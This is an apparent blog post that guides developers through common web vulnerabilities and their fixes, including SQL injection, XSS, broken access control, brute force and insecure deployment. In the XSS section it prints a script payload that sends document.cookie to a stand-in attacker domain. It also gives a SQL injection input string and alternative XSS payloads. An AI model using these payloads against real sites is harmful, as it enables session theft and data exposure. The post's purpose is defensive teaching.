This post is a guide for developers to prevent common security vulnerabilities in applications. At first, I would like to say that I consider security to also be a developer responsibility, but some engineers don’t know these topics. To help with this, I compiled the most common security vulnerabilities I learned in my career. You would be surprised by how common mid-sized and big companies’s softwares have these vulnerabilities.

The topics are focused in web development, but can be applied to any system. I mentioned developers, but the vulnerabilities are also very useful for DevOps and Security Engineers.

Statistics

The vulnerabilities listed here are the ones I encountered the most, and the ones I consider the most relevant. Just to give you some statistics, you can see the most of them are listed in the Top 10 Web Application Security Risks from The Open Web Application Security Project.

Top 10 Web Application Security Risks (from OWASP) OWASP: Top 10 Web Application Security Risks

Broken access

Broken access in simple terms is just not authenticating, or not checking the permissions of users in the application. Imagine there’s a route to request the removal of the tenant, and it’s missing the function to check if the user has permission to do it. Now, a guest user who doesn’t have permission to interact with the system discovers this route, makes the request and delete all the data of a customer. That’s broken access.

I can think of some levels of severity for systems vulnerable to Broken Access:

  1. Allowing unauthenticated users to access private resources
  2. Allowing authenticated users to access private resources of other accounts or tenants
  3. Allowing authenticated users to access private resources of the account or tenant it’s part of.

All the cases are bad, but you can imagine that the worst one is the first, which allows unrestricted access for any person or tool that knows the URL of the application.

To be fair, it’s not trivial to automatically test all the application routes for this vulnerability, and oftentimes it requires the analysis of the source code, or a human conducted pentest to detect it.

Authorization

For big projects, it’s important to make sure that every single route have the correct authentication and authorization, and if the route require a more complex authorization, such as “only allow users which are have the permission edit the card, any parent card, who are the creator of the project or admin of the tenant”. Obviously these complex authroizataions requires unit testing.

I don’t know yet a better method of ensuring the correct authorization other than automated tests, and making sure there’s an authorization while reviewing the changes.

Authentication

For the general authentication, a simple middleware can do the work, you just have to make sure to apply it to all routes.

Tenant isolation in multi-tenant applications

To decrease the probbility of accidentaly allowing one tenant to access the other, there’s some strategies:

  1. Isolating physically the database (For example, one physical PostgreSQL server per customer)
  2. Isolating logically the database (For example, one schema or suffixed table per customer)
  3. Adding a tenantId column to each record of the database (in my experience, that’s the easies one to implement, and to most common to forget and make a vulnerable application)

SQL Injection

That’s probably the most main-stream vulnerability, everyone teaches it in security or MySQL lessons, and it’s easily found in amateour applications.

A system is vulnerable to SQL injection when not filtered parameters (coming from user input, APIs, or external services) leak into a SQL query.

The following code is an example of a query concatenating unfiledted text with the query template. If the user inputs the text pedro' OR 1 = 1;, this query will return all of the users of the application, containing all the fields. It’s good to mention that the following example is simple, but there’s more complex queries and SQL Injection techniques such as Blind SQL Injection and Time-Based SQL Injection.

const query = `SELECT * FROM user WHERE email = '${request.body.email}';`;

Those using an Object Relational Mapper (ORM) generally are safe, because most of these systems already implement character filtering when building the queries. The problem comes when we want to generate statistical data or reports for large systems, and we need to use a SQL View, or fine-tune the command for performance. In that case, it’s common to use raw data, and it’s also easies to miss a SQL Injection in the code.

const query = `SELECT AVG(packet_loss) FROM availability_samples WHERE tenantId = '${request.body.tenantId}'`;

For that case, most SQL drivers and ORMs support receinving separetelly the params, and doing internally the filtering of the content. For example, using the TypeORM, the code above could be fixed in the following way:

const result = await entityManager.query(
  `SELECT AVG(packet_loss) FROM availability_samples WHERE tenantId = $1`,
  [request.body.tenantId]
);

You should take care because there’s a lot of automated tools which easily detect SQL Injections, and also remember that the SQL Injection code can be executed in any input of the system such as:

  • HTTP Headers
  • HTTP Cookies
  • Query parameters
  • Path parameters
  • POST payload

Cross-site Scripting (XSS)

Cross site scripting occurs when you concatenate strings directly into the HTML content, allowing users to inject JavaScript scripts that can steal the session, credentials, and modify completly the page.

As a simple example, imagine your building a simple page to show user posted content. You might do the following in the backend when generating the page content:

const postContent = await getPostContentFromId(request.params.postId);
return `<p>${postContent}</p>`;

The post content must be formatted, so you must allow HTML content to be inserted. The problem is that the user can place JavaScript <script> blocks, which will be executed (overall, it’s HTML).

For example, if the users posts the following content, an alert will be shown in the browser window.

That's my post content <script>alert("This is an alert showing in the browser window")</script>

Now, we can scale it to steal the credentials:

<script>
  fetch("https://hacker-domain.com", {
    method: "POST",
    data: document.cookie, // Will get all the cookies (sometimes, including the user session token)
  });
</script>

That’s a common vulnerability, and cause a big impact in any system.

Solution

Now you could be thinking “How can I see the script tags present in the post? Were they executed? Is this website vulnerable?”. This site use a technique to replace some characters with special HTML blocks that breaks the execution of the script. Also, the post content is sanitized.

Just to mention some techniques we can use to sanitize a text content that doesn’t need to be treated as HTML (no formatting):

  • Remove all of the < and > characters
  • Replace the characters with the HTML-encoded versions, such as &lt; and &gt;

If HTML tags must be preserved for formatting purposes, while keeping the website secure, you can sanitize the text, which will remove any known method of script execution from the content. To do this, please use a well-known HTML sanitization library. Those are the kinds of software which you should never implement yourself, and should rather trust a bigger community to do it. For example, most people aren’t aware of the alternative XSS payloads (without using the <script> tag), such as:

  • Using the onload tag attribute. Example: <img src="" onload="alert('Vulnerable');"/>
  • Using the onmouseover tag attribute
  • Using the onerror tag attribute
  • Script via encoded URI schemes
  • Sciprt using code encoding

Most template engines and frameworks sanitize text by default. For example, the following content in React will be shown as the text <h1>Text</h1>, and the formatting won’t be applied.

const postContent = "<h1>Text<h1>";
return <article>{postContent}</article>;

React makes very clear that it’s insecure when you try to force HTML injection as the children of an element:

const postContent = "<h1>Text<h1>";
return (
  <article
    dangerouslySetInnerHTML={{
      __html: postContent,
    }}
  ></article>
);

Bruteforce

Bruteforce is the technique of trying a large number of username and passwords until the correct one is found by trial and error. It’s as simple as it sounds, but a lot of applications are vulnerable.

Of course, if you have a strong password policy (which most systems currently don’t have), it would take a lot of time for one to find the correct password, but hackers and bots will keep trying forever, and will consume some CPU, I/O and network of your system (remember that password hasing with salt uses a little bit of CPU)

The first solution is to implement a rate limiting for the login route. For example, allowing up to 10 requests per 30-minute per origin IP.

For a real production example, the following rate limiting code can be found in the source code of TabNews.

const defaultLimits = {
  rateLimitPaths: [],
  general: {
    requests: 1000,
    window: "5 m",
  },
  "PATCH /api/v1/activation": {
    requests: 50,
    window: "30 m",
  },
  "POST /api/v1/contents": {
    requests: 50,
    window: "30 m",
  },
  "POST /api/v1/recovery": {
    requests: 50,
    window: "30 m",
  },
  "PATCH /api/v1/recovery": {
    requests: 50,
    window: "30 m",
  },
  "DELETE /api/v1/sessions": {
    requests: 50,
    window: "30 m",
  },
  "POST /api/v1/sessions": {
    requests: 50,
    window: "30 m",
  },
  "POST /api/v1/users": {
    requests: 50,
    window: "30 m",
  },
};

Another technique is to implement a captcha in those routes. It’s relatively easy, but let me tell you one thing I learned in my life: Captcha providers are another external dependency of your system, and they will eventually be unavailable, so be prepared to add a bypass flag, because you wouldn’t want to block all of your users to login when that occurs, and it will eventually occur.

Just don’t forget that the login page isn’t the only one that can be bruteforces. Some pages I could thing of as targets are: Login, registration, session renewal.

Insecure deployment

Use a platform with the most automation possible, or study a lot before deploying a production system to prevent the following vulnerabilities:

  • Leaving the .env file publicly accessible in the server
  • Leaving the .git folder publicly accessible
  • Allowing access to files that should not be served, such as map and script (that will not be executed, rather showed or downloaded) files

In general, I can give the following advices:

  • While building, clearly separate what should be deployed, and what is the source of the application. You should deploy only the files that are meant to be publicly accessible.
  • Don’t publish .env and .git to production
  • Block access to any file or path starting with dot (.)
  • Implement at least a optimistic rate limiting in the web server
  • If using SSH, use a key authentication, and not password
  • Limit the Firewall as much as possible, and remember that there’s different rules for IPv4 and IPv6
  • If you’re not using IPv6, disable it

Just as a recommendation, if your manually deploying React, remember to build the app with the NODE_ENV=production and GENERATE_SOURCEMAP=false environment varaibles, otherwise people will be able to see the complete source code from the browser, which isn’t directly a security issue, but it’s not recommended.

Not monitoring

If you have a production application, you must monitor its metrics and resource usage. Not just because it’s useful for alerting, but also because most times when a system is hacked, or is being pentested, it will show some sign in the metrics, such as an increase in the CPU usage, or in the requests per second.

“Not made here syndrome” Encryption

The general rule is you should never develop your own encryption or hashing code, you should rather import a library. It’s very easy to implement it incorrectly, and if you do, the entire security of your application is broken. Trust big libraries that already tested and validated the algorithm.

Backup (extra/recommendation)

Implement the 3-2-1 (have at least 3 copies of your data, in 2 additional places, at least one being in a different location) backup strategy, and remember to monitor the backups.

I use the following principles for backups:

  • Monitor. If you don’t monitor, and the backup isn’t executed, you will only know it isn’t working when you need it
  • Try restoring it periodically into an extra environment. If it can’t be restored, it’s useless
  • Remember that snapshot and RAID are not a backup

Web Application Firewall (WAF) (extra/recommendation)

If you want another level of protection, use a WAF. They’ll intercept every interaction with your system, and will try to block most known vulnerabilities such as SQL Injection. Also, most of the times that have a bot, DOS and DDoS protection as well.

I can recommend the CloudFlare WAF, which have a free plan to start.